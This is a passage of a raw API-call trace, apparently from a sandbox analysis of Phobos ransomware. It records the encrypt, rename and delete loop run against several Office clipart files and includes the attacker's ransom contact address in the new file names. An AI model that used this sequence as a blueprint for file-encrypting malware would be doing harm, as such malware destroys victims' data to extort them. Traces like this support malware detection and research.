[0177.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0177.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.272] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.272] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.273] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d17d0) returned 1 [0177.273] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.273] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x96c, lpOverlapped=0x0) returned 1 [0177.339] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x970, dwBufLen=0x970 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x970) returned 1 [0177.339] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x970, lpOverlapped=0x0) returned 1 [0177.340] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1550) returned 1 [0177.340] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.340] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0177.340] CryptDestroyKey (hKey=0x1d1550) returned 1 [0177.340] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0177.340] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0177.340] CloseHandle (hObject=0x2e0) returned 1 [0177.340] CloseHandle (hObject=0x2c8) returned 1 [0177.341] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0177.342] SetEvent (hEvent=0x298) returned 1 [0177.343] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0177.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.343] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=3964) returned 1 [0177.343] CloseHandle (hObject=0x2c8) returned 1 [0177.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0177.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.344] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.344] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.344] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1450) returned 1 [0177.344] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.344] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0xf7c, lpOverlapped=0x0) returned 1 [0177.358] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xf80, dwBufLen=0xf80 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0xf80) returned 1 [0177.358] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf80, lpOverlapped=0x0) returned 1 [0177.359] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1910) returned 1 [0177.359] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.359] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0177.359] CryptDestroyKey (hKey=0x1d1910) returned 1 [0177.359] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0177.359] CryptDestroyKey (hKey=0x1d1450) returned 1 [0177.359] CloseHandle (hObject=0x2c8) returned 1 [0177.359] CloseHandle (hObject=0x2e0) returned 1 [0177.360] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0177.361] SetEvent (hEvent=0x298) returned 1 [0177.361] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0177.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.362] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1160) returned 1 [0177.362] CloseHandle (hObject=0x2e0) returned 1 [0177.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0177.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.362] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.362] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.363] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1ad0) returned 1 [0177.363] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.363] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x488, lpOverlapped=0x0) returned 1 [0177.523] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x490, dwBufLen=0x490 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x490) returned 1 [0177.523] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x490, lpOverlapped=0x0) returned 1 [0177.524] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d19d0) returned 1 [0177.524] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.524] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0177.524] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0177.524] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0177.524] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0177.524] CloseHandle (hObject=0x2e0) returned 1 [0177.525] CloseHandle (hObject=0x2c8) returned 1 [0177.525] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0177.526] SetEvent (hEvent=0x298) returned 1 [0177.527] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0177.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.527] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=10316) returned 1 [0177.527] CloseHandle (hObject=0x2c8) returned 1 [0177.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0177.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.527] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.527] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.527] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.528] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d1a10) returned 1 [0177.528] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.528] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x284c, lpOverlapped=0x0) returned 1 [0177.852] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2850, dwBufLen=0x2850 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x2850) returned 1 [0177.852] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x2850, lpOverlapped=0x0) returned 1 [0177.853] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1a50) returned 1 [0177.853] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.853] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0177.853] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0177.853] WriteFile (in: hFile=0x2e0, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0177.853] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0177.853] CloseHandle (hObject=0x2c8) returned 1 [0177.853] CloseHandle (hObject=0x2e0) returned 1 [0177.853] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0177.855] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0177.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.855] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=31180) returned 1 [0177.855] CloseHandle (hObject=0x2e0) returned 1 [0177.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0177.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.856] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.856] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.856] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d16d0) returned 1 [0177.856] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.856] ReadFile (in: hFile=0x2e0, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesRead=0x2e5f984*=0x79cc, lpOverlapped=0x0) returned 1 [0177.936] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x79d0, dwBufLen=0x79d0 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x79d0) returned 1 [0177.936] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0x79d0, lpOverlapped=0x0) returned 1 [0177.937] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f8f4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f960 | out: phKey=0x2e5f960*=0x1d1810) returned 1 [0177.937] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.937] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40, dwBufLen=0x40 | out: pbData=0x31ed020*, pdwDataLen=0x2e5f920*=0x40) returned 1 [0177.937] CryptDestroyKey (hKey=0x1d1810) returned 1 [0177.937] WriteFile (in: hFile=0x2c8, lpBuffer=0x31ed020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5f968, lpOverlapped=0x0 | out: lpBuffer=0x31ed020*, lpNumberOfBytesWritten=0x2e5f968*=0xf2, lpOverlapped=0x0) returned 1 [0177.938] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0177.938] CloseHandle (hObject=0x2e0) returned 1 [0177.938] CloseHandle (hObject=0x2c8) returned 1 [0177.938] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0177.940] SetEvent (hEvent=0x298) returned 1 [0177.940] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0177.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.941] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2488) returned 1 [0177.941] CloseHandle (hObject=0x2c8) returned 1 [0177.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0177.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0177.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0177.941] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.941] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5f948 | out: lpNewFilePointer=0x0) returned 1 [0177.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0177.942] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2e5f900, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5f95c | out: phKey=0x2e5f95c*=0x1d18d0) returned 1 [0177.942] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2e5fa08, dwFlags=0x0) returned 1 [0177.942] ReadFile (in: hFile=0x2c8, lpBuffer=0x31ed020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5f984, 